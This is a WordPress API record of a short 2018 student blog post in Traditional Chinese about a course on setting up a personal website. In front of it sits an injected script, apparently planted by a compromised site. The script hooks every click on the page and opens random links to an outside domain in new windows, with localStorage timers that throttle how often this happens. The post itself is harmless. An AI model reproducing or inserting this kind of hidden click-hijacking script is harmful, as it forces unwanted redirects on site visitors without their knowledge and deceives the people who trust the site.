<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1369,"date":"2018-10-19T10:43:51","date_gmt":"2018-10-19T02:43:51","guid":{"rendered":"http:\/\/edu.secda.info\/vain7\/?p=1369"},"modified":"2018-10-19T10:43:51","modified_gmt":"2018-10-19T02:43:51","slug":"20181005%e5%80%8b%e4%ba%ba%e7%b6%b2%e7%ab%99%e6%9e%b6%e8%a8%ad%e5%bf%83%e5%be%97","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/vain7\/?p=1369","title":{"rendered":"20181005\u500b\u4eba\u7db2\u7ad9\u67b6\u8a2d\u5fc3\u5f97"},"content":{"rendered":"<p>\u9019\u5802\u8ab2\u5c0d\u6211\u4f86\u8aaa\u5f88\u65b0\u5947\uff0c\u56e0\u70ba\u6211\u5c0d\u96fb\u8166\u64cd\u4f5c\u4e0d\u662f\u90a3\u9ebc\u7684\u719f\u6089\uff0c\u4e0d\u904e\u8001\u5e2b\u6559\u7684\u6771\u897f\u5f88\u5be6\u7528\uff0c\u4e0d\u7ba1\u662f\u73fe\u5728\u9084\u662f\u5c0d\u65e5\u5f8c\u90fd\u6703\u6709\u5f88\u5927\u7684\u5e6b\u52a9\u3002\u7562\u7adf\u5c0d\u65bc\u96fb\u8166\u4e0d\u662f\u90a3\u9ebc\u719f\u6089\uff0c\u6240\u4ee5\u53ef\u80fd\u6709\u6642\u5019\u6703\u5728\u8ab2\u5802\u4e0a\u554f\u4e00\u4e9b\u8822\u554f\u984c\uff0c\u5e0c\u671b\u8001\u5e2b\u53ef\u4ee5\u591a\u591a\u5305\u6db5\u3002\u4e5f\u5e0c\u671b\u53ef\u4ee5\u5f9e\u4e2d\u5b78\u5230\u66f4\u591a\u6771\u897f\u3002<br \/>\n<img loading=\"lazy\" src=\"http:\/\/edu.secda.info\/vain7\/wp-content\/uploads\/2018\/10\/406221315-300x134.jpg\" alt=\"\" width=\"300\" height=\"134\" class=\"alignnone size-medium wp-image-1371\" srcset=\"https:\/\/edu.secda.info\/vain7\/wp-content\/uploads\/2018\/10\/406221315-300x134.jpg 300w, https:\/\/edu.secda.info\/vain7\/wp-content\/uploads\/2018\/10\/406221315-768x344.jpg 768w, https:\/\/edu.secda.info\/vain7\/wp-content\/uploads\/2018\/10\/406221315-800x358.jpg 800w, https:\/\/edu.secda.info\/vain7\/wp-content\/uploads\/2018\/10\/406221315-750x336.jpg 750w, https:\/\/edu.secda.info\/vain7\/wp-content\/uploads\/2018\/10\/406221315-400x179.jpg 400w, https:\/\/edu.secda.info\/vain7\/wp-content\/uploads\/2018\/10\/406221315-430x193.jpg 430w, https:\/\/edu.secda.info\/vain7\/wp-content\/uploads\/2018\/10\/406221315-150x67.jpg 150w, https:\/\/edu.secda.info\/vain7\/wp-content\/uploads\/2018\/10\/406221315-100x45.jpg 100w, https:\/\/edu.secda.info\/vain7\/wp-content\/uploads\/2018\/10\/406221315.jpg 1433w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u9019\u5802\u8ab2\u5c0d\u6211\u4f86\u8aaa\u5f88\u65b0\u5947\uff0c\u56e0\u70ba\u6211\u5c0d\u96fb\u8166\u64cd\u4f5c\u4e0d\u662f\u90a3\u9ebc\u7684\u719f\u6089\uff0c\u4e0d\u904e\u8001 [&hellip;]<\/p>\n","protected":false},"author":20,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,46,47],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts\/1369"}],"collection":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1369"}],"version-history":[{"count":2,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts\/1369\/revisions"}],"predecessor-version":[{"id":1372,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts\/1369\/revisions\/1372"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1369"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1369"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1369"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}